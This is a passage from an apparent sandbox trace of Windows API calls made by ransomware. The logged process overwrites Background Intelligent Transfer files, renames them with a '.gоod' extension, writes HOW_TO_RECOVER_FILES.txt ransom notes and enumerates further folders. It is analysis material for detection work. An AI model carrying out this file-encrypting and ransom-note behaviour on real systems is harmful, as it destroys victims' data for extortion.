out: lpFileInformation=0x3715548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1cdb6407, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0105.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0105.610] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", lpFilePart=0x0) returned 0x33 [0105.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0105.610] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0105.610] GetFileType (hFile=0x7dc) returned 0x1 [0105.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0105.610] GetFileType (hFile=0x7dc) returned 0x1 [0105.610] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0105.610] ReadFile (in: hFile=0x7dc, lpBuffer=0x37158f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x37158f0*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0105.611] CloseHandle (hObject=0x7dc) returned 1 [0105.611] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", lpFilePart=0x0) returned 0x33 [0105.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0105.611] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0105.611] GetFileType (hFile=0x7dc) returned 0x1 [0105.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0105.611] GetFileType (hFile=0x7dc) returned 0x1 [0105.611] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x2000 [0105.611] WriteFile (in: hFile=0x7dc, lpBuffer=0x3716b50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3716b50*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0105.611] CloseHandle (hObject=0x7dc) returned 1 [0105.612] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", lpFilePart=0x0) returned 0x33 [0105.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0105.612] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0105.612] GetFileType (hFile=0x7dc) returned 0x1 [0105.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0105.612] GetFileType (hFile=0x7dc) returned 0x1 [0105.612] ReadFile (in: hFile=0x7dc, lpBuffer=0x3718dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3718dd8*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0105.851] CloseHandle (hObject=0x7dc) returned 1 [0105.851] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", lpFilePart=0x0) returned 0x33 [0105.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0105.852] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0105.852] GetFileType (hFile=0x7dc) returned 0x1 [0105.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0105.852] GetFileType (hFile=0x7dc) returned 0x1 [0105.852] WriteFile (in: hFile=0x7dc, lpBuffer=0x3375de8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3375de8*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0105.852] CloseHandle (hObject=0x7dc) returned 1 [0105.852] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", lpFilePart=0x0) returned 0x33 [0105.852] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.gоod", lpFilePart=0x0) returned 0x38 [0105.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0105.852] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e734dc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e734dc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b4dc813, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2010)) returned 1 [0105.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0105.852] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.gоod" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk.gоod")) returned 1 [0105.853] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.log", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.log", lpFilePart=0x0) returned 0x33 [0105.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0105.853] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.log"), fInfoLevelId=0x0, lpFileInformation=0x344ec98 | out: lpFileInformation=0x344ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e26fff, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x576f6993, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x140000)) returned 1 [0105.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0105.853] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.log", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.log", lpFilePart=0x0) returned 0x33 [0105.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0105.853] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0105.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0105.857] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", lpFilePart=0x0) returned 0x36 [0105.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0105.857] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log"), fInfoLevelId=0x0, lpFileInformation=0x344f648 | out: lpFileInformation=0x344f648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc63d09b3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x140000)) returned 1 [0105.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0105.857] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", lpFilePart=0x0) returned 0x36 [0105.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0105.857] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0105.858] GetFileType (hFile=0x7dc) returned 0x1 [0105.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0105.858] GetFileType (hFile=0x7dc) returned 0x1 [0105.858] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0105.858] ReadFile (in: hFile=0x7dc, lpBuffer=0x344fa10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x344fa10*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0106.187] CloseHandle (hObject=0x7dc) returned 1 [0106.187] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", lpFilePart=0x0) returned 0x36 [0106.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0106.190] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0106.190] GetFileType (hFile=0x7dc) returned 0x1 [0106.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0106.190] GetFileType (hFile=0x7dc) returned 0x1 [0106.190] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x140000 [0106.190] WriteFile (in: hFile=0x7dc, lpBuffer=0x34de398*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x34de398*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0106.191] CloseHandle (hObject=0x7dc) returned 1 [0106.191] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", lpFilePart=0x0) returned 0x36 [0106.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0106.191] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0106.191] GetFileType (hFile=0x7dc) returned 0x1 [0106.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0106.191] GetFileType (hFile=0x7dc) returned 0x1 [0106.191] ReadFile (in: hFile=0x7dc, lpBuffer=0x34e0630, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x34e0630*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0106.220] CloseHandle (hObject=0x7dc) returned 1 [0106.220] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", lpFilePart=0x0) returned 0x36 [0106.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0106.221] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0106.221] GetFileType (hFile=0x7dc) returned 0x1 [0106.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0106.221] GetFileType (hFile=0x7dc) returned 0x1 [0106.221] WriteFile (in: hFile=0x7dc, lpBuffer=0x34df3b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x34df3b0*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0106.221] CloseHandle (hObject=0x7dc) returned 1 [0106.221] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log", lpFilePart=0x0) returned 0x36 [0106.221] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log.gоod", lpFilePart=0x0) returned 0x3b [0106.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0106.221] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e26fff, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e4d293, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b870015, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140010)) returned 1 [0106.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0106.221] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edbtmp.log.gоod" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edbtmp.log.gоod")) returned 1 [0106.222] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db", lpFilePart=0x0) returned 0x33 [0106.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0106.222] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db"), fInfoLevelId=0x0, lpFileInformation=0x355ca78 | out: lpFileInformation=0x355ca78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc5e99732, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc5e99732, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x10430069, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140000)) returned 1 [0106.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0106.222] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db", lpFilePart=0x0) returned 0x33 [0106.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0106.222] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0106.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0106.225] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0106.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0106.226] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0106.733] GetFileType (hFile=0x20c) returned 0x1 [0106.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0106.733] GetFileType (hFile=0x20c) returned 0x1 [0106.747] WriteFile (in: hFile=0x20c, lpBuffer=0x35b1a08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x35b1a08*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0106.748] CloseHandle (hObject=0x20c) returned 1 [0106.748] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x39 [0106.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0106.748] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\network\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0106.749] GetFileType (hFile=0x20c) returned 0x1 [0106.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0106.749] GetFileType (hFile=0x20c) returned 0x1 [0106.750] WriteFile (in: hFile=0x20c, lpBuffer=0x35b5240*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x35b5240*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0106.751] CloseHandle (hObject=0x20c) returned 1 [0106.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0106.751] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office", lpFilePart=0x0) returned 0x1f [0106.751] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.752] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.752] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 1 [0106.752] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0106.752] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0106.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0106.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0106.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0106.752] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office", lpFilePart=0x0) returned 0x1f [0106.752] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0106.753] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.753] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 